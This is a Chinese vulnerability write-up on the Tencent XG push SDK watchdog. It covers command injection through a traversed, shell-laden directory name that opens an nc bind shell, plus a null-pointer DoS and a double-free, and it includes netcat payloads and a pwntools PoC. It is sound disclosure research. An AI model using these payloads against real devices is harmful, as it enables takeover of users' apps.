长亭百川云 - 文章详情

一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考

MS509

58

2024-07-13

责任编辑:支书Woojune

0x00

简介

XG SDK是一个流行的Android app推送SDK,有不少流行Android app均在使用,本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。

漏洞最初在2016年4月份的时候提交给了某云网站,厂商已经确认,但由于网站持续“升级”的缘故,不太可能公开细节了。后续漏洞也已经提交给了TSRC,时至现在,相关漏洞均已经完全修复,漏洞已经不影响使用该SDK的app了,因此本文决定对相关技术细节予以分享,并补充有关该漏洞后续的一些研究。

0x01

漏洞分析

XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件,作为看门狗保活应用,并随机在55000~56000端口监听任意地址。

public static int getRandomPort() {
        return XGWatchdog.getRandomInt(1000) + 55000;
    }

在我们实验手机上的监听端口为55362,启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so

经过逆向分析,可发现这个开放端口支持一系列的文本命令,包括:

  • “ver:”,获取版本号

  • “debug:1”,打开调试

  • “xgapplist:”,获取或设置使用信鸽的app

  • “tme:xxxx”,设置周期性启动服务的等待时间

  • ”exit2:”,退出

例如,发送debug:1,可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息,可见,手机上有四个app使用了该推送sdk。

echo -n “debug:1” |nc 192.168.8.187 55362

当发送xgapplist:xxx,则可以设置当前使用信鸽的app。其中xxx的形式为 ,;,...

接下来会通过fopen打开/data/data//lib目录来判断指定packagename的目录是否存在,如果存在,则会在后续使用该packagename,否则提示找不到该package。

然后,程序会调用system通过am命令启动对应包内的XG组件,这里就使用了上面检查过的packagename.

注意,上述两个system函数中的参数没有进行任何过滤。那么,我们结合上述两张图来看,如果恶意app满足

  1. 能够设置一个存在且被XG Sdk可以访问的目录,

  2. 目录名中嵌入执行的代码

那么就可以实现命令注入。对于条件1,可以通过../../../../路径穿越的形式跳转到恶意app可控的目录;而对于条件2,则可以利用shell特性,在可控目录下建立猥琐的“ || #"目录实现。

0x02

漏洞利用

(1)模拟恶意app在/sdcard目录建立一个特殊(猥琐)的目录名,除了“/“字符外,其他字符均可用。

于是我们有了了” && nc -ll -p 6666 -e sh #”的目录,并在目录下存在子目录lib

(2)通过xgapplist命令设置推送app

如图,发送命令,

echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362

观察logcat可以发现设置成功

(3)通过tme命令,使am命令周期性进行,进而触发后面的system函数,执行我们的反弹shell命令

echo -n “tme:12345” | nc -v 192.168.8.187 55362

稍等片刻,观察logcat的打印信息后,可以尝试连接shell,成功连接

u0_a113用户正好就是com.tencent.wework

下面就可以以com.tencent.wework的权限做任何事情了,比如访问私有目录、打开保护的activity、发广播等等。

0x03

漏洞是否能够远程

因为当时漏洞取名带有“远程”二字不够严谨,引发了厂商的争议。的确,从这个漏洞的成因来看,主要还是本地恶意app通过污染目录名,结合XG开放的端口,完成本地提权。但经瘦蛟舞的指点,可以考虑向受害者发送包含污染目录名的zip包(或者通过浏览器下载解压至/sdcard),然后结合XG监听端口的地址为任意地址,远程传入命令,进而实现远程命令执行,这种远程攻击相对难度较大,因为开放的端口为随机端口,攻击者也需要社工欺骗受害者接收zip包.

0x04

空指针解引用远程拒绝服务

当向XG监听端口发送xgapplist命令时,libtpnsWatchdog.so对后面的packagename和accid进行处理,但并没有检查“,”或“;“分割的字符串为空的情况,导致后面atoll函数去访问0地址的内存,造成空指针解引用crash。见如下代码:

v1 = a1;
  if ( a1 )
  {
    j_j_memset(xgapplist, 0, 0x200u);
    first_app = j_j_strtok(v1, ";");
    v3 = 0;
    v2 = first_app;
    while ( 1 )
    {
      len_of_applist = v3;
      if ( !v2 )
        break;
      v5 = j_j_strlen(v2);
      v6 = v5 + 1;
      v7 = (void *)j_operator new[](v5 + 1);
      xgapplist[len_of_applist] = v7;
      j_j_memcpy(v7, v2, v6);
      v2 = j_j_strtok(0, ";");
      v3 = len_of_applist + 1;
    }
    for ( i = 0; i < len_of_applist; ++i )
    {
      v8 = (char *)xgapplist[i];
      if ( v8 )
      {
        package = j_j_strtok(v8, ",");
        accid = j_j_strtok(0, ",");
        v11 = accid;
        v12 = j_j_atoll(accid); //null pointer dereference crash !!!!
        v27 = v12;

向55362端口发送一个最简单的数据包,

echo -n "xgapplist:A" | nc -v 192.168.8.169 55362

使用logcat可观察到Oops:

0x05

Double Free 内存破坏

仍然观察xgapplist命令,程序接收socket端口传入的命令xgapplist:,;,;...;,; 时,程序会对上述命令进行解析,分配xgappinfo对象,并依次将不重复的xgappinfo(使用XG SDK的app的信息)对象存入全局数组xgappinfo_list

xgappinfo占用16字节,为如下结构体

struct xgappinfo {
    long accid,
    char* packgename,
    int  status
};

如图

再来看下下面这段程序逻辑,

void __fastcall sub_40056574(char *a1)
{
  ...
  int i; // [sp+24h] [bp-2Ch]@4
  unsigned __int64 v27; // [sp+28h] [bp-28h]@8
 
  v1 = a1;
  j_j_memset(dword_40060028, 0, 0x200u);
  v2 = j_j_strtok(v1, ";");
  v3 = 0;
  v4 = v2;
  while ( 1 )
  {
    v25 = v3;
    if ( !v4 )
      break;
    v5 = j_j_strlen(v4);
    v6 = v5 + 1;
    v7 = (void *)j_operator new[](v5 + 1);
    dword_40060028[v25] = v7;
    j_j_memcpy(v7, v4, v6);
    v4 = j_j_strtok(0, ";");
    v3 = v25 + 1;
  }
  for ( i = 0; i < v25; ++i )
  {
    v8 = (char *)dword_40060028[i];
    if ( sub_4005651C(dword_40060028[i]) )
    {
      v9 = j_j_strtok(v8, ",");
      v10 = j_j_strtok(0, ",");
      v11 = v10;
      v12 = j_j_atoll(v10);
      v27 = v12;
      if ( v12 <= 0x3B9AC9FF && dword_4005D018 )
      {
        v23 = HIDWORD(v12);
        j_j___android_log_print(6, "xguardian", "error accessid:%llu");
      }
      if ( v9 && v11 )
      {
        v13 = &dword_4005E028;                  // xgapp_info结构体存储的起始地址
        for ( j = &dword_4005E028; ; j = v15 )
        {
          v14 = (const char *)v13[2];
          v15 = v13;
          if ( !v14 )
            break;
          if ( !j_j_strcmp(v9, v14) )
          {
            *v13 = v27;
            v13[1] = HIDWORD(v27);
            v16 = 1;
            *((_BYTE *)v15 + 12) = 1;
            v15 = j;
            goto LABEL_22;
          }
          if ( *((_BYTE *)v13 + 12) )
            v15 = j;
          v13 += 4;
          if ( v13 == dword_40060028 )
            break;                              // 最多只能存储512个对象,每个对象占用16字节
        }
        v16 = 0;
LABEL_22:
        if ( dword_4005D018 )
          j_j___android_log_print(4, "xguardian", "found %d, pkgName:%s,accid:%s", v16, v9, v11);
        if ( !v16 && sub_40055B98(v9) )
        {
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "try to add to the unstall list");
          v17 = j_j_strlen(v9) + 1;
          v18 = (void *)v15[2];
          if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);             
/ *
 * 这段存在问题,v18没有置为null。导致当循环到512个对象的时候,由于前面循环的限制,v18    还是指向第512个对象中在堆上分配的packagename的地址,此时v18会被delete。
                                             
当512以上的多个命令数据达到,需要有多个packagename需要添加时,由于并发处理,程序会在返回之前再次运行到此处,v18还是指向同一地址,由于v18已被delete,此时会再次delete一下,从而导致delete出错
*
*/
            return;
          }
          v19 = (void *)j_operator new[](v17);
          v15[2] = (int)v19;
          j_j_memset(v19, 0, v17);
          j_j_memcpy((void *)v15[2], v9, v17);
          *(_BYTE *)(v15[2] + v17) = 0;
          v20 = j_j_atoll(v11);
          *((_BYTE *)v15 + 12) = 1;
          *(_QWORD *)v15 = v20;
          if ( dword_4005D018 )
            j_j___android_log_print(4, "xguardian", "add new unInfo pkgName:%s,accid:%llu", v15[2], v20);
        }
      }
    }
    v18 = (void *)dword_40060028[i];
    if ( v18 )
      goto j_j__ZdaPv;
  }

对通过socket端口传入的xgapplist命令的解析主要包括以下几个步骤:

  • 解析分号的分隔,获得每个xg app的信息;

  • 解析逗号的分隔,获得xg app packagename和accid;

  • 从0x4005E028开始,依次存储解析xgappinfo得到的结果,分别为accid、packagename、status,从而构成xgappinfo_list;

  • 当再次传入xgapplist命令时,会将传入的packagename与已存储的packagename比较。如果不同,说明是新的packagename,则会在堆上分配地址存储,并将这个堆上分配的地址添加到xgappinfo_list中。如果相同,不进行添加。

  • 最多只能添加到0x40060028这个地址,到这个地址会跳出循环,也就是最多只能添加(0x40060028-0x4005E028)/16=512个xgappinfo结构体

注意下面这段代码

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

v18为下一个未分配区域的packagename,XG SDK认为如果不为空,则表明已在堆上分配,因此需要delete。然而测试表明,当添加xgappinfo超过512,为518、519等多个时(注意:并非超过1个),可以触发堆内存破坏。

POC:

from pwn import *
import sys
 
def open_connection():
    xg_daemon_server = "192.168.8.158"
    xg_listen_port = 55362
    conn = remote(xg_daemon_server, xg_listen_port)
    return conn
 
def send_debug():
    conn = open_connection()
    packet_debug = "debug:1\n"
    conn.send(packet_debug)
    print "S:"+packet_debug
    conn.close()
    exit(0)
 
def send_heap_overflow(n):
    conn = open_connection()
    packet_bound_overflow = "xgapplist:../../../"
    for i in range(n):
        packet_bound_overflow +="/"
    packet_bound_overflow +="sdcard/, 2100178385\n"
 
    print "S: "+packet_bound_overflow
    print "%d bytes" % len(packet_bound_overflow)
    conn.send(packet_bound_overflow)
    conn.close()
 
def send_normal_packet(packet):
    conn = open_connection()
    conn.send(packet)
    print "S: "+packet
    if (packet == "ver:\n"):
        print "R: "+ conn.recv()
    conn.close()
    exit(0)
 
def main():
    if (len(sys.argv) != 2):
        print """
           %s <packet_type>
           1: send debug packet
           3: send heap overflow packet
           4: send normal ver: packet
           5: send normal tme:12345 packet
           6: send normal xgapplist: packet
        """ % sys.argv[0]
        exit(-1)
    if(sys.argv[1] == "1"):
        send_debug()
    elif(sys.argv[1] == "3"):
        for i in range(518):  //notice!
            send_heap_overflow(i)
            print i
        exit(0)
    elif(sys.argv[1] == "4"):
        send_normal_packet("ver:\n")
    elif(sys.argv[1] == "5"):
        send_normal_packet("tme:12345\n")
    elif(sys.argv[1] == "6"):
        send_normal_packet("xgapplist:\n")
    else:
        print "unkown packet type! "
 
 
if __name__ == "__main__":
    main()

Logcat

为什么513、514不能触发呢?这个问题一直没有分析得很清楚,因此也没有选择提交,直至厂商对前面两个漏洞进行修复,再次复现这个漏洞的难度加大。

再次观察漏洞的触发位置,

if ( v18 )
          {
j_j__ZdaPv:
            operator delete[](v18);
}

可以发现v18 被delete后并没有置为null,那么有没有可能v18会被delete多次呢?作为socket服务daemon,程序使用了epoll系统调用,因此可以猜想这是并发处理的原因。 

在没有并发的情况下依次传入要添加的xgappinfo,在超过512个xgappinfo时,循环直接跳出,不会尝试添加这个xgappinfo,不会触及到下面delete所在的分支,这也是很长时间我通过调试很难复现该漏洞的原因。但如果存在并发,特别是在即将超过512个xgappinfo时,又传入了多个要添加的xgappinfo,那么由于并发处理,程序会同时尝试添加多个xgappinfo且不会认为超过了512个xgappinfo,此时v18均指向同一地址(即第512个对象中在堆上分配的packagename的地址),那么在v18被delete一次的情况下,紧接着会再次delete一下,从而导致delete出错。

0x06

后续

腾讯很快对命令注入和空指针解引用引发的远程拒绝服务漏洞进行了修复,主要修复点包括:

  • Socket端口监听任意地址改为监听本地地址。

  • 对Socket端口传入的命令进行了加密。

  • 对传入xgapplist中的packagename进行了过滤,特别是过滤了“/”字符,防止目录穿越。

这些防御措施导致我很难再复现最后一个堆内存破坏漏洞了,但通过深入分析,我们仍然可以通过

  1. 编写手机上运行的本地代码

  2. 添加手机上已存在的packagename,要超过512个

  3. 破解加密算法

来予以一一破解。首先,在手机上安装512个packganame(Oh my god! ),这个可以通过脚本解决。

其次,破解加密算法可以直接调用程序使用的加解密库,而不必真的破解。最后的POC关键代码如下,注意,我们在快超过512时sleep了一下,使XG SDK的处理能力跟上,然后后面再传入多个xgappinfo,这样有更大的几率触发并发。

Logcat:

当然,这个double free漏洞无法利用,因为堆中的内容只能为手机上安装的packagename,所以尽管克服重重困难破解了加密算法、安装了512个packagename,仍然只是一个local DoS。TSRC在最先评级认为是代码执行,后面也更正为了local DoS。

最后,我们从修复的角度来看,XG SDK以检查/data/data//lib的存在,来判断是否为使用信鸽sdk的app,这种方式仍然不够严谨。依然有可能被恶意app利用来保活( 因为信鸽sdk后续要启动app的服务),占用系统资源或者妨碍正常使用推送服务的app。

版权声明:

本文由MS509团队成员原创,转载请注明来源

MS509简介:

 

MS509为“中国网安”开展互联网攻防技术研究的专业团队,当前主攻方向包括WEB安全、移动安全、二进制安全等**。****更多团队动态,尽在www.ms509.com**

↓↓↓ 点击"阅读原文" 【查看更多信息】

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2